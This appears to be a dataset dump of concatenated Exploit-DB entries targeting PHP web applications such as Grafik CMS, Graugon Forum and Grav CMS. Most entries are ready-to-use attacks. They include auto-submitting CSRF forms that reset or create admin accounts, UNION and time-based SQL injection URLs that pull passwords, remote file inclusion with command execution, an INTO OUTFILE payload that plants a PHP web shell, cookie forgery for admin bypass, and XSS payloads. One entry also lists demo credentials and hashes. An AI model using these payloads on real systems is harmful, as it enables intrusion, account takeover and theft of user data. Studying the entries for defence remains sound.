deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34222
Description: Grafik CMS - '/admin.php' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41227/info

Grafik CMS is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Grafik CMS 1.1.2 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/admin/admin.php?action=edit_page&id=1" method="post" name="main" >
	<input type="hidden" name="page_title" value="page title" />
	<input type="hidden" name="page_menu" value=&#039;descr"><script>alert(document.cookie)</script>&#039; />
	<input type="hidden" name="id" value="1" />
	<input type="hidden" name="page_content" value="some page content" />
	<input id="sbmt" type="submit" name="submit" value="Modifier" />
</form>
<script>
document.getElementById(&#039;sbmt&#039;).click();
</script>


<form action="http://www.example.com/admin/admin.php?action=settings" method="post" name="main" >
	<input type="hidden" name="name" value="site title" />
	<input type="hidden" name="admin_mail" value="example@example.com" />
	<input type="hidden" name="keywords" value="" />
	<input type="hidden" name="description" value=&#039;descr"><script>alert(document.cookie)</script>&#039; />
	<input type="hidden" name="site_url" value="http://www.example.com/" />
	<input type="hidden" name="seo_url" value="0" />
	<input type="hidden" name="mailing" value="1" />
	<input type="hidden" name="template" value="templates/default" />
	<input id="sbmt" type="submit" name="submit" value="Valider" />
</form>
<script>
document.getElementById(&#039;sbmt&#039;).click();
</script>
Exploit-DB #14342
Description: Grafik CMS 1.1.2 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-12
Author: 10n1z3d

Exploit:
<!---
    Title: Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Mon 12 Jul 2010 07:07:22 PM EEST 
    Vendor: http://www.grafik-power.com/grafik_cms/
    Download: None
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/admin.php?action=edit_user&id=1" method="post">
                <!--- Edit these --->
                <input type="hidden" name="name" value="root" />
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="password" value="rootroot" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Create Admin User ]=-
    
    <html>
        <head>
            <title>Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/admin.php?action=add_user" method="post">
                <!--- Edit these --->
                <input type="hidden" name="name" value="root" />
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="password" value="rootroot" />
            </form>
        </body>
    </html>
 
-=[ CSRF PoC 3 - Delete User ]=-

     <img src="http://[domain]/admin/admin.php?action=liste_user&del=[user id]" alt="Do you see this?" />
     
-=[ CSRF PoC 4 - Delete Page ]=-

     <img src="http://[domain]/admin/admin.php?action=liste_pages&del=[page id]" alt="Do you see this?" />
     
-=[ CSRF PoC 5 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/index.php?action=deconnexion" alt="Do you see this?" />

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #41292
Description: Gram Post 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title:  Gram Post - Instagram Auto Post Multi Accounts with Paypal integration v1.0 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://vtcreators.com/
# Software Buy: https://codecanyon.net/item/gram-post-instagram-auto-post-multi-accounts-with-paypal-integration/19264650
# Demo: http://demo.vtcreators.com/grampost/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/instagram_accounts/update?id=[SQL]
# -9999'+/*!50000union*/+select+group_concat(email,char(58),password),2,3,4,5,6+from+user_management-- -
# Etc...
# # # # #
Exploit-DB #37978
Description: Gramophone - 'rs' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-25
Author: G13

Exploit:
source: https://www.securityfocus.com/bid/56299/info

Gramophone is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Gramophone 0.01b1 is vulnerable; other versions may also be affected. 

http://www.example.com/gramophone/index.php?rs=%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #2304
Description: GrapAgenda 0.1 - 'page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-05
Author: Kurdish Security

Exploit:
* Kurdish Security Advisory
* Original Advisory : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-25-grapagenda-remote.html
* Script : GrapAgenda
* Site : http://www.graphiks.net
* Version : 0.1
* Risk : High
* Class : Remote
* Contact : botan@linuxmail.org and irc.gigachat.net #kurdhack
* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and team : ColdHackers, Patriotic Hackers, Kurdish Hackers Clan [back ? auyehuah maybe] other teamz
---------------------------------------------------------------------------------
Google w0rkez :P : "GrapAgenda"

lol now code :]




if($page!=""){
include($page);
}else{
include("accueil.php");
}
?>

huh :] nice code,

PoC

http://www.site.com/[agendapath]/index.php?page=yourcode.txt?&cmd=id

# milw0rm.com [2006-09-05]
Exploit-DB #5463
Description: Grape Statistics 0.2a - 'location' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-18
Author: MajnOoNxHaCkEr

Exploit:
# Name : Grape Web Statistics Remote File include Vulnerability
# Download From :http://www.quate.net/link.php?grape
# Found By : MajnOoNxHaCkEr                  
# Home Page : http://www.4rxh.com
============================================================================
# Vulne Code In File functions.php :

#Function: require

# DorK In GooGle : "Developed by Quate.net."

# Exploit:

http://WwW.4RxH.CoM/[PaTh]/includes/functions.php?location=[EV!L]

That,s It,s

Good Luck Everybody
============================================================================

# Greet To :

"RoMaNcYxHaCkEr My Master , BlackxHat" 

RoMaNTiC TeaM :"SaudiXKafoOo ,  Gn6.AlSfeeNh , Kill EyE , Ghost Of The Sky , ABOOD_700 , Ã¢â‚¬ÂSiL3nT M4n  , x-man"  (WwW.4RxH.CoM)

" O2 HaCkEr , Cutthroat hacker ,  SnakE1095 , GaMe-OvEr-haCkeRs  "

 And All My Friends

# For Contact : MajnOoNxHaCkEr@wInDoWsLiVe.CoM

# milw0rm.com [2008-04-18]
Exploit-DB #35497
Description: GrapeCity Data Dynamics Reports 1.6.2084.14 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-24
Author: Dionach

Exploit:
source: https://www.securityfocus.com/bid/47015/info

GrapeCity Data Dynamics Reports is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Data Dynamics Reports 1.6.2084.14 is vulnerable; other versions may also be affected. 

http://www.example.com/CoreHandler.ashx?dd:script=CoreViewerInit.js&reportName=<script>alert(&#039;XSS1!&#039;)</script>&uniqueId=<script>alert(&#039;XSS2!&#039;)</script>#
http://www.example.com/CoreHandler.ashx?dd:script=CoreController.js&uniqueId=<script>alert(&#039;XSS1!&#039;)</script>&traceLevel=<script>alert(&#039;XSS2!&#039;)</script>#
Exploit-DB #41549
Description: Graphicriver Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Graphicriver Clone Script - SQL Injection
# Google Dork: N/A
# Date: 08.03.2017
# Vendor Homepage: http://bsetec.com/
# Software : http://graphicriverclone.bsetec.com/
# Demo: http://www.bsetecdemo.com/graphicriverclone/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/LastAdded/?by=[SQL]
# # # # #
Exploit-DB #36492
Description: GraphicsClone Script - 'term' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-04
Author: Mr.PaPaRoSSe

Exploit:
source: https://www.securityfocus.com/bid/51258/info

GraphicsClone Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/search/?term=<script>alert(document.cookie)</script>
Exploit-DB #45704
Description: Grapixel New Media 2 - 'pageref' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-29
Author: Berk Dusunur

Exploit:
# Exploit Title: Grapixel New Media 2 - 'pageref' SQL Injection
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Web App
# Date: 2018-10-26
# Vendor Homepage: http://www.grapixel.com
# Software Link: http://www.grapixel.com
# Affected Version: v2
# Tested on: MacosX
# CVE : N/A

#Proof Of Concept
# Time-Based sql injection is called a data extraction event with request response times 
# with the server when there is no other way for it to extract aggressive data. It should 
# be determined by sql injection type. I discovered blind time-based sql injection. 
# Because single quotes didn't break the page structure, so I tried to get results 
# using waitfor delay instead.

http://target/pages.aspx?pageref=[SQL]
http://target/pages.aspx?pageref=' waitfor delay '00:00:05'--;
http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>80) WAITFOR DELAY '0:0:5'--
http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>81) WAITFOR DELAY '0:0:5'--

Ascii equivalent of 80,81 figures The first database, wait 5 seconds if the first letter is "p"
Exploit-DB #17126
Description: Graugon Forum 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-06
Author: AutoSec Tools

Exploit:
<!------------------------------------------------------------------------
# Software................Graugon Forum 1.3
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.graugon.com/
# Discovery Date..........4/3/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A SQL injection vulnerability in Graugon Forum 1.3 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
# 
# 
# --PoC-->

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/forum/admin.php">
            <input type="hidden" name="email" value="'and 1=0 UNION SELECT '<?php system($_GET["CMD"]); ?>','','','','','' FROM dual INTO OUTFILE '../../htdocs/shell.php';#" />
            <input type="hidden" name="password" value="" />   
        </form>
    </body>
</html>
Exploit-DB #8040
Description: Graugon Gallery 1.0 - Cross-Site Scripting / SQL Injection / Cookie Bypass
Type: webapps
Platform: php
Date: 2009-02-11
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : Graugon Gallery  1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=87617&jump_type=1
Vulnerability  : Sql Injection/ Insecure Cookie Handling/XSS
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
$TwoMonths = 60 * 60 * 24 * 60 + time(); 
setcookie(g_admin, 1, $TwoMonths);
[/code]

Bugged file is /[path]/view.php

[Code]

$id = $_GET['id'];
...

$query = "SELECT * FROM g_gallery WHERE id=$id";
$result = mysql_query($query);
[/code]

[Code]

$id = $_GET['id'];

echo "....<a href='view.php?id=" . $id . "'> "

[/code]


#########################################################################################
[0x03] Exploits:

Exploit: 1- javascript:document.cookie ="g_admin=1; path=/"
         2- http://victim.it/view.php?id=-1337 union select
0,0,0,concat(email,char(45),password(char45)),0,0 from g_settings--
		    ( change number of columns)
		 3- ?id=[XSSCODE]

########################################################################################

# milw0rm.com [2009-02-11]
Exploit-DB #8133
Description: Graugon PHP Article Publisher 1.0 - SQL Injection / Cookie Handling
Type: webapps
Platform: php
Date: 2009-03-02
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : Graugon PHP Article Publisher 1.0
Download       : http://www.hotscripts.com/listings/jump/download/88458/
Vulnerability  : Multiple Sql Injections / Insecure Cookie Handling
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged Page: index.php [..] admin.php [..] view.php

[Code]
$c = $_GET['c'];

$query = "SELECT * FROM p_categories WHERE id=$c";
$result = mysql_query($query);
[/code]

[code]
 
$TwoMonths = 60 * 60 * 24 * 60 + time(); 
setcookie(g_admin, 1, $TwoMonths);

[/code]

[code]

$id = $_GET['id']; [..]

$query = "SELECT * FROM p_articles WHERE id=$id";
$result = mysql_query($query);
[/code]

#########################################################################################
[0x03] Exploits:

Exploits: http://victim.it/path/?c=1 union select 0,0,0,concat(id,password,email),0,0 from p_settings
          http://victim.it/path/view.php?id=1 union select 0,0,0,concat(id,password,email),0,0 from p_settings
          javascript:document.cookie ="g_admin=1; path=/"

########################################################################################


# milw0rm.com [2009-03-02]
Exploit-DB #6929
Description: Graugon PHP Article Publisher Pro 1.5 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-01
Author: ZoRLu

Exploit:
[~] Article Publisher PRO Insecure Cookie Handling Vulnerability
[~]
[~] version: 1.5
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 01.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] ----------------------------------------------------------

demo admin login:

http://demo-article-publisher-pro.phparticlescript.com/admin/admin.php

demo user login:

http://demo-article-publisher-pro.phparticlescript.com/login.php


admin_name: admin

passwd: demo

passwd_md5: fe01ce2a7fbac8fafaed7c982a04e229

user_id: 1

or

user_name: zorlu

passwd: zorlu

passwd_md5: 2178fb3ee4a88f946ecb68734b266c10

user_id: 6

or

user_name: demo

passwd: demo

passwd_md5: fe01ce2a7fbac8fafaed7c982a04e229

user_id: 2


exploit:

admin:

javascript:document.cookie = "xadmin=user_id%2Cpasswd_md5; path=/";

user: 

javascript:document.cookie = "user=user_id%2Cpasswd_md5; path=/";

for demo admin: ( user_id: 1)

javascript:document.cookie = "xadmin=1%2Cfe01ce2a7fbac8fafaed7c982a04e229; path=/";

for demo user: ( for user zorlu user_id: 6 )

javascript:document.cookie = "user=6%2C2178fb3ee4a88f946ecb68734b266c10; path=/";

for demo user: ( for user demo user_id: 2 )

javascript:document.cookie = "user=2%2Cfe01ce2a7fbac8fafaed7c982a04e229; path=/";


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-01]
Exploit-DB #42131
Description: Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-06-07
Author: Ahsan Tahir

Exploit:
# Exploit Title: GravCMS Core (Admin Plugin) v1.4.2 - Persistent Cross-Site Scripting
# Date: 2017-06-07
# Exploit Author: Ahsan Tahir
# Vendor Homepage: https://getgrav.org/
# Software Link: https://getgrav.org/download/core/grav-admin/1.2.4
# Version: 1.4.2
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com
# Contact: https://twitter.com/AhsanTahirAT

Release Date:
=============
2017-06-07


Product & Service Introduction:
===============================
Grav is built and maintained by a team of dedicated and passionate developers, designers and users. 
As Grav is an open source project we greatly appreciate user contribution and commitment. These are the key folks that make this all possible.


Abstract Advisory Information:
==============================
Ahsan Tahir, an independent vulnerability researcher discovered a Persistent Cross-Site Scripting Vulnerability in GravCMS Admin Plugin (v 1.4.2)


Vulnerability Disclosure Timeline:
==================================
2017-06-07: Found the vulnerability.
2017-06-07: Reported to vendor.
2017-06-07: Published.

Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
The security risk of the xss vulnerability is estimated as medium with a common vulnerability scoring system count of 3.6. 
Exploitation of the persistent xss web vulnerability requires a limited admin user account and only low user interaction. 
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent external 
redirect to malicious sources and persistent manipulation of affected or connected web module context.


Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by restricted user accounts with low user interaction.
For security demonstraton or to reproduce the vulnerability follow the provided information and steps below to continue.

Payload (Exploitation): [Click Me](javascript:alert(1))

[+] Manual steps to reproduce ..
1. Login with the admin or editor account in GravCMS
2. Go to edit page option (e.g http://127.0.0.1/cms/grav-admin/admin/pages/home)
3. Put the payload "[Click Me](javascript:alert(1))" (without quotes) in the content of page
4. Save Page!
5. Go to the index page (e.g http://127.0.0.1/cms/grav-admin/)
6. Click on "Click Me"
7. The Javascript execution occurs - Successful reproduce of the persistent cross site scripting vulnerability!


Credits & Authors:
==================
Ahsan Tahir - [https://twitter.com/AhsanTahirAT]
Exploit-DB #49264
Description: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-12-16
Author: Sagar Banwa

Exploit:
# Exploit Title: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting
# Date: 13-12-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://getgrav.org/
# Software Link: https://getgrav.org/downloads
# Version: Grav v1.6.30 - Admin v1.9.18
# Tested on: Windows 10/Kali Linux
# Contact: https://www.linkedin.com/in/sagarbanwa/

Step to reproduce :

1) log in to the grav-admin panel 
2) Go to Pages 
3) Click on Add 
4) It will ask to Add Page
5) fill the following details as below 
   Page Title : <script>alert(1337)</script>
   Folder Name : sagar_Banwa
   Parent Page : /(root)
   Page Template : Default
   Value : yes
6) click on the Save button 
7) now Click on Pages again.
8) your page name will be listed as <script>alert(1337)</script>
9) Now click on the eye button to see the XSS or you can simply go to http://127.0.0.1/grav-admin/ the XSS will pop-up 

-------------------------------------
   
POST /grav-admin/admin/pages HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 230
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/grav-admin/admin/pages
Cookie: grav-site-a4a23f1-admin=ehrcji8qpnu8e50r839r4oe2on; grav-site-a4a23f1=u5438b49fft2b5d7610a53ne1d; grav-tabs-state={%22tab-options.routes.registration.Security%22:%22data.Security%22%2C%22tab-content.options.advanced%22:%22data.content%22}
Upgrade-Insecure-Requests: 1

data%5Btitle%5D=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&data%5Bfolder%5D=sagar_banwa&data%5Broute%5D=%2F&data%5Bname%5D=default&data%5Bvisible%5D=1&data%5Bblueprint%5D=&task=continue&admin-nonce=d488c0d8bdaf2978d50f174942d5279f

-----------------------------